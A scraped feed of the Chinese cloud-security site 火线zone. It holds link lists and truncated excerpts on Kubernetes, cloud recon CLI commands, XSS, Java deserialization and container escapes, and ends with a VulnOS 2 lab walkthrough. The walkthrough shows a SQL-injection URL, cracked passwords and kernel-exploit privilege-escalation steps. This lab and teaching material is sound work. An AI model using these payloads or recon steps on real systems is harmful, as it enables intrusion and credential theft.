https://zone.huoxian.cn/d/1156-elbvpc-iam
5 款强大的 Kubernetes Events 收集与检索工具
https://mp.weixin.qq.com/s/KOAcNedzhY_f6DvrP1RPDg
Kubernetes基础环境搭建
https://mp.weixin.qq.com/s/8i-DyBRKR6vMq547YyKsFA
Forrester 云安全调查:云身份管理能力认可度不足3成
https://mp.weixin.qq.com/s/y4mDTi9BeRk4VjMHJgalww
在Kubernetes中构建应用程序?处处都要考虑安全问题
https://containerjournal.com/features/building-apps-in-kubernetes-think-security-everywhere/
保证AWS Lambda函数的URL安全
https://www.wiz.io/blog/securing-aws-lambda-function-urls/
企业迁移到公有云之前要问的5个问题
https://mp.weixin.qq.com/s/hh78kNgPX4S2LewAAxLm8Q
2022年5月9日 15:35火线zone
目录
ELB
弹性负载均衡(Elastic Load Balance,简称ELB)是将访问流量根据分配策略分发到后端多台服务器的流量分发控制服务。弹性负载均衡可以通过流量分发扩展应用系统对外的服务能力,同时通过消除单点故障提升应用系统的可用性。
1、信息搜集
查询IP地址组列表
hcloud ELB ListIpGroups/v3 --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531"
查询后端服务器组列表
hcloud ELB ListPools/v3 --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531"
查询后端服务器组详情
hcloud ELB ShowPool/v3 --cli-region="cn-south-1" --project_id="0a8453d1f700250e2f02c00e683b8531" --pool_id="dc5017e1-0986-4a2e-b4db-23b612ed3bad"
查询负载均衡器列表
hcloud ELB ListLoadBalancers/v3 --cli-region="cn-southwest-2" --project_id="602a462f913147bb8703740d9ab6ae7f"
查询监听器列表获取后端端口
hcloud ELB ListListeners/v3 --cli-region="cn-southwest-2" --project_id="602a462f913147bb8703740d9ab6ae7f"
2、安全策略
用于在创建HTTPS监听器时,请求参数中指定security_policy_id来设置监听器的自定义安全策略。
查询自定义安全策略列表
hcloud ELB ListSecurityPolicies/v3 --cli-region="cn-southwest-2" --project_id="602a462f913147bb8703740d9ab6ae7f"
查询自定义安全策略详情
hcloud ELB ShowSecurityPolicy/v3 --cli-region="cn-southwest-2" --project_id="
2022年5月9日 10:35火线zone
容器安全技术发展研究及政策建议
https://mp.weixin.qq.com/s/2l05oNK0JOBoSNL-pLPkhQ
Windows 下使用 Minikube 搭建Kubernetes
https://zone.huoxian.cn/d/1149-windows-minikube-kubernetes
针对运行时的云原生应用进行安全防护
https://medium.com/@dlakshma/run-time-vulnerability-prevention-using-red-hat-advanced-cluster-security-for-kubernetes-ca39fca78e1e
浅析K8S各种未授权攻击方法
https://zone.huoxian.cn/d/1153-k8s
平台即代码的未来是Kubernetes扩展
https://containerjournal.com/features/the-future-of-platform-as-code-is-kubernetes-extensions/
APISIX CVE-2022-29266 漏洞分析与复现
https://mp.weixin.qq.com/s/Un-9y_UhWDw9svHKb-JQVQ
如何保证Kubernetes中部署的安全?
https://zone.huoxian.cn/d/1148-kubernetes
在 AWS 下查看自己所拥有的权限
https://wiki.teamssix.com/CloudService/IAM/list-attached-user-policies.html
2022年5月8日 16:35火线zone
前言
xss漏洞的原理其实很简单,类型也分为三类,反射型、储存型和dom型。但是刚接触xss的时候我根本不理解什么是dom型xss,无法区分反射型和dom型,也很少遇见,现在通过这篇文章可以给新入坑的小白更好的理解xss漏洞,也通过这篇文章巩固一下我对xss的理解,如有不正确的地方欢迎各位师傅斧正。
DOM型与反射型对比图
两张简单的图帮助大家对比一下异同
反射型xss分析
首先还是先简单介绍一下xss最常见的类型:反射型
通过pikachu靶场来做简单的演示分析
可以看到我们输入的数据通过html页面回显了出来,这意味着我们可以尝试构造闭合来注入我们想要的代码
检查一下网页源码,处于这个位置(20这个地方显示了输入数据的长短,改一改就好)
插入这个代码测试xss漏洞:<script>alert('1_Ry')</script>,出现弹窗
分析一下代码
$html=''; if(isset($_GET['submit'])){ if(empty($_GET['message'])){ $html.="<p class='notice'>输入'kobe'试试-_-</p>"; }else{ if($_GET['message']=='kobe'){ $html.="<p class='notice'>愿你和{$_GET['message']}一样,永远年轻,永远热血沸腾!</p><img src='{$PIKA_ROOT_DIR}assets/images/nbaplayer/kobe.png' />"; }else{ $html.="<p class='notice'>who is {$_GET['message']},i don't care!</p>"; } } }
首先通过GET 接收message字符串到后端,然后传到$html这个变量
<div id="xssr_main"> <p class="xssr_title">Which NBA player do you like?</p> <form method="get"> <input class="xssr_in" type="text" maxlength="20" name="message" /> <input class="xssr_submit" type="submit" name="submit" value="submit" /> 
2022年5月8日 15:31火线zone
目录
一、前言
这篇文章可能出现一些图文截图颜色或者命令端口不一样的情况,原因是因为这篇文章是我重复尝试过好多次才写的,所以比如正常应该是访问6443,但是截图中是显示大端口比如60123这种,不影响阅读和文章逻辑,无需理会即可,另外k8s基础那一栏。。。本来想写一下k8s的鉴权,后来想了想,太长了,不便于我查笔记,还不如分开写,所以K8S基础那里属于凑数???写了懒得删(虽然是粘贴的:))
吐槽一下:其实我发现K8S搭建失败的大部分原因,都是出于网络不同的原因,所以我建议直接上香港的服务器,不太建议在本地虚拟机搭建,当然我本地也搭建了虚拟机的k8s集群(我用公司的阿里云开的服务器,100M带宽,确实快哈哈哈)
在学习k8s安全的时候,大家花费最多时间的地方应该就是K8S的搭建了,当然大佬除外,我这种菜狗才会搭环境搭很久
香港服务器搭建
1、有成本(哪怕是按量付费,也有一定的成本)
2、好处就是能快速的搭建,不会出现网络导致搭建失败的问题
本地虚拟机搭建
1、0成本(但是有时间成本,可能在香港服务器上1个小时就能解决的事情,在本地要花很久)
2、好处就是配置好静态地址之后,以后在哪个网络环境都可以访问
二、k8s基础
K8S全称kubernetes,是由Google在2014年开源的生产级别的容器编排系统,或者说是微服务和云原生平台。虽说14年才开源,但实际上K8S是Google内部的容器编排系统Borg的开源版本,在Google内部已经用了十多年了。下面是一个关于K8S的Logo来源的小插曲。
Kubernetes由谷歌在2014年首次对外宣布 。它的开发和设计都深受谷歌的Borg系统的影响,它的许多顶级贡献者之前也是Borg系统的开发者。在谷歌内部,Kubernetes的原始代号曾经是Seven,即星际迷航中友好的Borg(博格人)角色。Kubernetes标识中舵轮有七个轮辐就是对该项目代号的致意。  不过也有一个说法是,Docker的Logo是一个驮着集装箱的鲸鱼,也就是运输船,K8S的Logo是一个船舵,旨在引领着Docker(或者说容器技术)走向远方。
1、Master
Master节点是Kubernetes集群的控制节点,每个Kubernetes集群里至少有一个Master节点,它负责整个集群的决策(如调度),发现和响应集群的事件。Master节点可以运行在集群中的任意一个节点上,但是最好将Mast
2022年5月8日 14:31火线zone
Spring简介
Spring框架是一个开放源代码的J2EE应用程序框架,是针对bean的生命周期进行管理的轻量级容器。Spring可以单独应用于构筑应用程序,也可以和Struts、Webwork、Tapestry等众多Web框架组合使用,并且可以与 Swing等桌面应用程序AP组合。
Spring框架主要由七部分组成,分别是 Spring Core、 Spring AOP、 Spring ORM、 Spring DAO、Spring Context、 Spring Web和 Spring Web MVC
Spring发展到现在,全家桶所包含的内容非常庞大,这里主要介绍其中关键的5个部分
1.Spring Framework
也就是我们经常说的spring框架,包括了ioc依赖注入,Context上下文、bean管理、springmvc等众多功能模块,其它spring项目比如spring boot也会依赖spring框架。
2.springBoot
它的目标是简化Spring应用和服务的创建、开发与部署,简化了配置文件,使用嵌入式web服务器,含有诸多开箱即用的微服务功能,可以和spring cloud联合部署。Spring Boot的核心思想是约定大于配置,应用只需要很少的配置即可,简化了应用开发模式。
3.Spring Data
是一个数据访问及操作的工具集,封装了多种数据源的操作能力,包括:jdbc、Redis、MongoDB等。
4.springCloud
是一套完整的微服务解决方案,是一系列不同功能的微服务框架的集合。Spring Cloud基于Spring Boot,简化了分布式系统的开发,集成了服务发现、配置管理、消息总线、负载均衡、断路器、数据监控等各种服务治理能力。比如sleuth提供了全链路追踪能力,Netflix套件提供了hystrix熔断器、zuul网关等众多的治理组件。config组件提供了动态配置能力,bus组件支持使用RabbitMQ、kafka、Activemq等消息队列,实现分布式服务之间的事件通信。
5.Spring Security
主要用于快速构建安全的应用程序和服务,在Spring Boot和Spring Security OAuth2的基础上,可以快速实现常见安全模型,如单点登录,令牌中继和令牌交换。你可以了解一下oauth2授权机制和jwt认证方式。oauth2是一种
2022年5月7日 15:31火线zone
浅谈Java反序列化漏洞
本篇文章参考P神知识星球的《Java漫谈》系列文章,有条件的可以为p牛充电!(星球名:代码审计,我已经冲了)
然后推荐想初步理解java反序列化、并且深度了解一两个利用链的萌新,一步一步跟着文中在idea里调试理解每一步,不要求很快看完,可以收藏或者点赞后,慢慢看 , 希望能收获一点东西
然后大佬们可以退了,因为写的都是java反序列化很浅的东西,顺便别骂QAQ
Java序列化与反序列化
Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。
整个过程都是 Java 虚拟机(JVM)独立的,也就是说,在一个平台上序列化的对象可以在另一个完全不同的平台上反序列化该对象。
序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。
其中类 ObjectInputStream 和 ObjectOutputStream 是高层次的数据流,它们包含反序列化和序列化对象的方法。
eg.
下面是一个简单的序列化、反序列化的代码:
package top.meta; import java.io.*; import java.util.HashMap; import java.util.Map; /** * @author taamr * @create 2022-04-29 14:35 */ public class Serialize implements Serializable { // 必须实现Serializable接口 //serialVersionUID不写的话,idea会自动生成,赋予每个类不同的序列化UID private static final long serialVersionUID = -3066949856415001911L; private int id; private String name; public Serialize() { } public Serialize(int id, String name) { this.id = id; this.name = name; } private void writeObject (Objec
2022年5月7日 15:01火线zone
硬件要求:
2核CPU或更高配置
2GB内存或更高配置
20GB磁盘空间或更多
连接互联网
容器或虚拟机管理器,例如:Docker、Hyperkit、Hyper-V、KVM、Parallels、Podman、VirtualBox 或 VMware Fusion/Workstation
Windows下使用PowerShell安装
New-Item -Path 'd:\' -Name 'minikube' -ItemType Directory -Force Invoke-WebRequest -OutFile 'd:\minikube\minikube.exe' -Uri 'https://github.com/kubernetes/minikube/releases/latest/download/minikube-windows-amd64.exe' -UseBasicParsing
其中路径可以自定义
设置环境变量
$oldPath = [Environment]::GetEnvironmentVariable('Path', [EnvironmentVariableTarget]::Machine) if ($oldPath.Split(';') -inotcontains 'd:\minikube'){ ` [Environment]::SetEnvironmentVariable('Path', $('{0};d:\minikube' -f $oldPath), [EnvironmentVariableTarget]::Machine) ` }
启动集群
minikube start
默认情况下会使用Hyperv作为驱动
如果要使用Vmware或者其他,启动的时候需要指定
minikube start --driver vmware
如果报Exiting due to PROVIDER_VMWARE_NOT_FOUND: The 'vmware' provider was not found: exec: "vmrun": executable file not found in $PATH信息,把vmware的安装路径加入系统环境变量就行。
下载安装docker-machine-driver-vmware
https://github.com/machine-drivers/docker-machi
2022年5月7日 12:01火线zone
本访客文章最初发表在ARMO的博客上,作者是Armo的CTO兼联合创始人Leonid Sandler。
对于在共享基础设施上运行的容器化应用程序来说,安全是至关重要的。随着越来越多的组织将其容器工作负载转移到Kubernetes,K8s已经成为容器协调的首选平台。而随着这一趋势,威胁和新的攻击方式也越来越多,有必要加强所有的安全层。
在Kubernetes中,安全问题有两个方面:集群安全和应用安全。我们已经在另一篇文章中介绍了集群安全。在这篇文章中,我们将探讨如何确保Kubernetes部署和一般应用程序的安全。
0x01 基础回顾
在这里,我只想快速回顾一下基础知识。Pod是逻辑原子单元,在集群中运行一个或多个容器;它被其他资源包裹着,如ReplicaSet、Deployment、StatefulSets等。有各种方法来提高在Kubernetes中运行的应用程序的安全态势。
在Kubernetes部署中,模板部分包含pod规格,它定义了这个部署要运行的工作负载。在下面的模板中,有几个与安全有关的部分用黑体字突出显示。
现在,让我们仔细看一下pod规格中的这些部分。
0x02 服务账户
当容器内的进程与API服务器进行通信时,你应该使用服务账户进行验证。如果你没有为pod定义一个服务账户,那么将使用默认的账户。建议创建一个特定于应用程序的服务账户,该账户具有执行该功能所需的最小权限。如果你选择给默认的服务账户赋予角色,这些特权将对每个没有在规格中定义服务账户的pod可用。这可能会无意中允许对其他应用程序的过度许可,因此不建议这样做。在Kubernetes 1.6及以上版本中,你可以通过设置退出为容器中的服务账户自动装载API令牌。
0x03 安全环境
安全环境定义了pod和容器中的权限和访问控制设置。下面是几个安全环境的重要内容。
seLinuxOptions(安全增强型Linux):此应用提供更细化的访问和控制策略的机制。
runAsUser和runAsGroup:特定的UserID或GroupID(UID和GID)来运行容器进程的入口点;如果没有指定,则各自默认为镜像元数据中指定的用户(在Windows容器中都不适用)。
privileged:以特权模式运行容器,默认为假;与主机上的root(具有所有能力)相同。
runAsNonRoot:容器必须以非root用户的身份运行(如果Kubelet在运行时验证的U
2022年5月7日 11:31火线zone
阿里云VPC与LB和RAM的信息收集
https://zone.huoxian.cn/d/1145-vpclbram
如何将Emissary Ingress与OPA结合起来?
https://www.cncf.io/blog/2022/05/06/how-do-you-integrate-emissary-ingress-with-opa/
利用无文件落地的方式破坏只读容器
https://sysdig.com/blog/containers-read-only-fileless-malware/
保障云和容器安全的十个注意事项
https://sysdig.com/blog/considerations-securing-cloud-containers/
使用Conjur REST OpenAPI来简化安全软件开发
https://www.conjur.org/blog/using-conjur-rest-openapi-to-simplify-secure-software-development/
你应该知道的 Gartner 关于 SBOMs 报告中的关键信息
https://blog.aquasec.com/gartner-report-sbom-security
2022年5月7日 11:01火线zone
云安全的领域有很多需要了解和学习的,
原文来源:https://www.csoonline.com/article/3654153/common-threats-to-cloud-security.html
如有不当,还请各位师傅海涵
云身份和访问管理问题
尽管听起来有些迟钝,但云资源是复杂的。可能有一系列复杂的微服务与各种数据库、API等进行通信。因此,控制谁可以与谁交谈既非常重要又非常困难。最安全的云是默认情况下每扇门都关闭和锁定的云,这些门只会为正确的用户打开,并且有正当理由通过。
例如,SSRF 攻击
SSRF 攻击旨在利用网络(云或其他网络)中的信任和特权。他们使用恶意客户端向服务器发送请求。隐藏在该请求中的是一个触发器,它会导致服务器在网络内采取一些行动。由于服务器可以与任何资源(包括网络内部的内部资源)进行通信,因此通常在边界内受到保护的信息可能会被泄露。或者,可以强制内部服务器与外部资源进行通信,它可能假定它在其信任边界内。
这是泄露内部信息和颠覆信任边界的强大组合。SSRF 攻击特别阴险的原因在于它们通常与其他漏洞结合使用,允许攻击者在服务器上建立立足点,然后可以利用该立足点进行远程代码执行。在 2021 年曝光的广泛的Exchange 服务器漏洞利用案例中就是如此。不幸的是,无论您使用哪个公共云提供商,这种类型的攻击都是有可能的。
云元数据服务经常成为 SSRF 攻击的目标,因为它们在云中具有广泛的权限。它们允许轻松管理通常通过HTTP访问的云实例,使它们成为诱人的目标。SSRF 攻击可以诱骗实例连接其元数据服务,提供潜在的访问途径,或者诱使实例公开有价值的信息,例如帐户凭据。
无担保凭证
对于安全性如此重要的东西,凭证管理有许多令人担忧的问题。从人为错误到不安全的、已有数十年历史的身份验证协议,有很多方法会误入歧途。
常见的凭证问题
使用弱密码
硬编码凭证,而没有意识到代码最终可能会出现在可公开访问的存储库中——这些凭证也将如此
通过网络发送的未加密密码(或容易破解的哈希)
静态密码和证书——这些应该定期更改
缺少多因素身份验证
此外,初始访问经纪人已开始获取和出售云凭证——这些网络犯罪专家专注于获得访问权限并将其出售给出价最高的人。
配置错误
云环境中的大量配置设置及其短暂的性质使确保严格的安全规则成为一项艰巨的挑战。根据身份盗窃资源中心的说法,就人为错误而言,云配置错误是数据泄露的最常见
2022年5月6日 16:31火线zone
VPC环境搭建
1、创建第一个VPC
2、创建一个NAT
创建一个NAT,并在访问模式中选择SNAT,这样,同一个VPC中的所有机器人,都可以通过NAT网关访问公网
随后等待即可
3、创建一个ACL
4、创建第二个VPC
同样把第二个VPC放在可用区H
5、创建第二个NAT
为第二个VPC创建一个NAT,与第一个VPC一样,这里我们选择SNAT
随后等待即可
6、创建第二个网络ACL
现在有两个VPC,我们来整体看一下目前的情况
VPC
子网192.168.0.0/16
公网NAT 101.201.123.203
交换机 vsw-2zefutsi7rnb0qai09b2y
路由 vtb-2zeo25fbiv7v3zcdjbjys
ACL vpc-2ze4lqiw3cl7y3zvkj55e
VPC2
子网192.168.0.0/16
公网NAT 59.110.13.178
交换机 vsw-2zen9qtw6woqzqbzhhp4y
路由 vtb-2ze8owepmc98208dkh1e6
ACL nacl-2zewc7vl9elzvlj7454v2
VPC可能存在的问题
信息收集(AK泄露)
在使用阿里云cli之前,需要配置好AK
aliyun configure --mode ak
1、VPC
aliyun vpc DescribeVpcs
从这里我们可以看到我们的子网信息,NAT的名称,VPC的所有人
2、Switch
aliyun vpc DescribeVSwitches
使用该命令可以查看所有的路由表,如果想查看指定的路由表,可以通过—help来查看所需要的参数
在获取VPC的信息的时候,我们获取到了所有人的账户ID,这里也可以通过所有人的ID来进行筛选与收集
aliyun vpc DescribeVSwitches --VSwitchOwnerId xxx
3、NAT
aliyun vpc DescribeNatGateways
可以通过该命令收集所有NAT网关信息,通过上面返回的信息,也可以查询SNAT表
4、ACL
aliyun vpc DescribeNetworkAcls # 详细API文档 https://help.aliyun.com/document_detail/34964.html
通过该命令可以获取所有ACL
5、安全组
aliyun ecs DescribeSecurityGrou
2022年5月6日 11:01火线zone
AWS ELB、VPC 和 IAM 服务攻防
https://zone.huoxian.cn/d/1143-aws-elbvpc-iam
Containerd-Shim 容器逃逸漏洞(CVE-2020-15257)
https://zone.huoxian.cn/d/1142-containerd-shimcve-2020-15257
AWS RDS 漏洞导致 AWS 内部服务凭证泄露
https://zone.huoxian.cn/d/1141-aws-rdsaws
Log4j 是如何重塑云安全思维的?
https://securityboulevard.com/2022/05/how-log4j-reshaped-cloud-security-thinking/
使用 CloudGoat 学习 Lambda 函数中的漏洞
https://rhinosecuritylabs.com/cloud-security/cloudgoat-vulnerable-lambda-functions/
Kubernetes 1.24 中 7 个最重要的变化
https://mp.weixin.qq.com/s/iMrRZyL3ipB8HQh3JnJlmQ
如何保证 Kubernetes 中部署的安全?
https://www.cncf.io/blog/2022/05/02/how-to-secure-deployments-in-kubernetes/
保障云和容器安全的十个注意事项
https://sysdig.com/blog/considerations-securing-cloud-containers/
2022年5月5日 17:31火线zone
0x00 前言
在 AWS 中,不管是 EC2 还是 RDS 都会使用到 VPC (Virtual Private Cloud) 虚拟网络环境服务,在 EC2 中可能会用到 ELB (Elastic Load Balancing) 弹性负载均衡服务,IAM (Identity and Access Management) 可以帮助 AWS 用户安全地控制对 AWS 资源的访问。
这里站在攻击者的视角简单看看 VPC、ELB 和 IAM 服务所面临的一些风险点。
0x01 信息收集
1、网段信息
在 VPC 中可以看到目标网段信息,拿到这些信息后,在进行内网横向时就可以更有专注性,在一定程度上提高内网横向的效率。

或者通过命令行获取目标子网信息
aws ec2 describe-subnets --query 'Subnets[].CidrBlock'
2、流日志
在 VPC 中,可以通过创建查看流日志的信息,去判断目标 IP 的流量信息,从而判断出高价值目标,方便接下来的内网横向。

3、安全组配置信息
在 AWS VPC 控制台中,可以查看到目标的安全组信息,如果安全组配置了一些只允许单个 IP 访问的策略,那么可以认为这个 IP 是一个高价值 IP,例如这样的配置。

或者使用命令行查看入站规则中的端口和源IP范围
aws ec2 describe-security-groups --query 'SecurityGroups[].IpPermissions[].[FromPort,IpRanges]'
同时在安全组中,如果遇到开放所有端口并且允许所有人访问的情况,那么也可以认为这是存在一定安全风险的。
4、IAM 用户角色权限信息
如果可以访问到目标的 IAM 信息,则可以对当前用户的 IAM 用户角色权限信息进行收集,这有助于更全面的了解到当前目标使用了那些云服务以及策略的划分。
例如通过下面的这些角色,可以猜测出当前目标使用了 EKS、ELB、RDS 等服务,那么在进行横向的时候,就可以多关注关注有没有这方面的资产。

或者使用命令行查看
aws iam list-roles --query 'Roles[].RoleName'
0x02 权限提升
1、 在 IAM 中分配用户权限
如果当前用户具备编辑 IAM 策略的权限,但没有某些服务权限的话,那么可以在 IAM 中开启这个服务权限,以实现提权。
2022年5月5日 17:01火线zone
前言
containerd-shim 夹杂在 containerd 和 runc 之间,每次启动一个容器,都会创建一个新的 containerd-shim 进程,它通过指定的三个参数:容器 id、bundle 目录、运行时二进制文件路径,来调用运行时的 API 创建、运行容器,持续存在到容器实例进程退出为止,将容器的退出状态反馈给 containerd。
漏洞介绍
漏洞成因:docker容器以--net=host 启动会暴露containerd-shim 监听的 Unix 域套接字。
containerd 是由 Docker Daemon 中的容器运行时及其管理功能剥离了出来。docker 对容器的管理和操作基本都是通过 containerd 完成的。它向上为 Docker Daemon 提供了 gRPC 接口,向下通过 containerd-shim 结合 runC,实现对容器的管理控制。
执行以下命令,可以获取containerd-shim 监听的 Unix 域套接字:
cat /proc/net/unix | grep 'containerd-shim' | grep '@' 0000000000000000: 00000002 00000000 00010000 0001 01 65874 @/containerd-shim/067284ce2b310632459fd11fd3bfa296670c2eacd7abfbadf07ddd6ea580f7d9.sock@
@/containerd-shim/{sha256}.sock 这一类的抽象 Unix 域套接字,没有依靠 mnt 命名空间做隔离,而是依靠网络命名空间做隔离。攻击者可以通过操作containerd-shim API 进行逃逸。
可调用的api如下:
service Shim { // State returns shim and task state information. rpc State(StateRequest) returns (StateResponse); rpc Create(CreateTaskRequest) returns (CreateTaskResponse); rpc Start(StartRequest) returns (StartResponse); rpc Delete(google.protobuf.E
2022年5月5日 16:31火线zone
AWS RDS漏洞导致AWS内部服务凭证失效
Lightspin 的研究团队在 RDS 服务上,利用 PostgreSQL 数据库中的 log_fdw 扩展功能所存在的本地文件读取漏洞,获得了一个 RDS 服务所在 EC2 实例上的访问凭证,这个访问凭证与 AWS 内部账号相关联。
该漏洞报告给了 AWS 安全团队,他们很快就打一个初始补丁,不过仅限于比较新的 RDS 服务版本和 Aurora PostgreSQL 引擎,不包括旧版本。
在打完补丁后,RDS团队亲自联系了过去几个月中使用有漏洞版本的每个客户,并指导他们完成升级过程,以确保减轻影响。最近,AWS团队已经确认,该漏洞已经被修复,没有客户受到影响。
你可能已经熟悉什么是亚马逊RDS了:亚马逊关系型数据库服务(RDS)是一个可管理的数据库服务,支持几个不同的数据库引擎,如MariaDB、MySQL,以及本帖的主题:PostgreSQL。AWS还维护着他们自己的数据库引擎--Amazon Aurora,它具备 PostgreSQL 和 MySQL 的兼容性。。
探讨
我使用Amazon Aurora PostgreSQL引擎创建了一个Amazon RDS数据库实例,并使用psql连接到数据库。我开始对数据库和预装角色进行了一些基本的探索。
注意,"postgres "用户不是一个真正的超级用户,它是一个rds_superuser。
AWS文档对该角色的描述是:"rds_superuser角色是一个预定义的亚马逊RDS角色,类似于PostgreSQL的超级用户角色(在本地实例中习惯上称为postgres),但有一些限制。"
很明显,这个rds_superuser不能运行系统命令,不能读取本地文件,也不能做任何与下线机器有关的操作。否则,这太容易了😉。
下面是一张截图,详细说明了在试图使用rds_superuser角色时的失败操作。
所以,我想过用一种不受信任的语言来创建一个可以执行系统命令的函数,但我无法加载不受信任的语言,如plperlu或plpythonu。
返回的错误建议看一下rds.extensions配置参数。
虽然亚马逊RDS的PostgreSQL引擎支持许多语言扩展,但它们都不是不受信任的语言。因此,我决定对这些扩展做一些进一步的分析和研究,希望能找到线索。
log_fdw扩展名
log_fdw扩展被9.6.2及以上版本的亚马逊RDS for 
2022年5月5日 13:31火线zone
多云安全靶场部署工具
https://github.com/HXSecurity/TerraformGoat
火线云安全知识文库
https://cloudsec.huoxian.cn/
在 Docker Desktop 中使用 Trivy 对容器镜像进行扫描
https://blog.aquasec.com/container-image-scanning-docker-desktop-with-trivy
据 CrowdStrike 透露在俄罗斯的 DoS 攻击中使用了容器
https://containerjournal.com/features/crowdstrike-dos-attack-against-russia-uses-containers/
CVE-2022-23648 分析与复现 containerd
https://mp.weixin.qq.com/s/JSekMGs9dmH79sZOBjFu2w
容器安全影响了应用开发的进度
https://containerjournal.com/features/container-security-challenges-impacting-pace-of-app-dev/
DockerCon 2022 将在 5 月 9 号至 10 号举行
https://docker.events.cube365.net/dockercon/2022
APISIX CVE-2022-29266 漏洞分析与复现
https://wiki.teamssix.com/CloudNative/APISIX/apisix-cve-2022-29266.html
2022年4月29日 10:31火线zone
8 个用于云原生持久存储的 CNCF 项目
https://containerjournal.com/features/8-cncf-projects-for-cloud-native-persistent-storage/
记录一次逆向容器镜像的过程
https://xz.aliyun.com/t/11262
【云原生渗透】- docker runc容器逃逸漏洞(CVE-2019-5736)
https://zone.huoxian.cn/d/1132-docker-runccve-2019-5736
DevOps: 每个阶段最常用的工具有哪些?
https://mp.weixin.qq.com/s/MTHWOZMCUqhD5j7S4FFlXg
调查显示 IT 团队正在管理 K8s 集群
https://containerjournal.com/features/survey-sees-it-teams-taking-control-of-k8s-clusters/
Twelve-factor 应用
https://www.cncf.io/blog/2022/04/28/twelve-factor-app-anno-2022/
利用Metaflow在Kubernetes上进行以人为本的数据科学研究
https://www.cncf.io/blog/2022/04/27/human-centric-data-science-on-kubernetes-with-metaflow/
2022年4月28日 15:01火线zone
https://www.vulnhub.com/entry/vulnos-2,147/ 靶机下载地址直接导入
1)信息收集
nma -sP 192.168.1.1/24 扫描本地C段 发现vulnosv2 扫描端口
发现存在22 80 6667 访问访问80 Wappalyzer探测到是apache ubuntu
访问admin 404 点击首页链接发现四个模块翻了一圈啥也没有
2)过程
2.1)发现后台路径
body{
Background-color:red;
}
访问jabc0cs路径 guest/guest登录后台 OpenDocMan v1.2.7
2.2)sql注入
https://www.exploit-db.com/exploits/32075 查找exp sql注入
2.3)解密登陆ssh
获得两个账号,guest和webmin 获取到了两个密码 解密:guest webmin1980
https://www.somd5.com/
/ajax_udf.php?q=1&add_value=odm_user%20union%20select%201,password,3,4,5,6,7,8,9%20from%20odm_user
Webmin webmin1980 成功登录ssh

3)提权
3.1)通过内核提权
查看内核版本

查找exp 把脚本下载到攻击机上
https://www.exploit-db.com/exploits/37292
https://github.com/SecWiki/linux-kernel-exploits/tree/master/2015/CVE-2015-1328
python开启web服务
python3 -m http.server 6666
或者直接wget https://github.com/SecWiki/linux-kernel-exploits/blob/master/2015/CVE-2015-1328/37292.c
编译
gcc -o 37292 37292.c
执行./37292
成功提权

python -c 'import pty; pty.spawn("/bin/bash")'
获取交互式shell
3.2) 另一种提权方式
c d ../ 发现一个vulnosadmin 这个目录webmin是没有权限的。

解压webmib目录下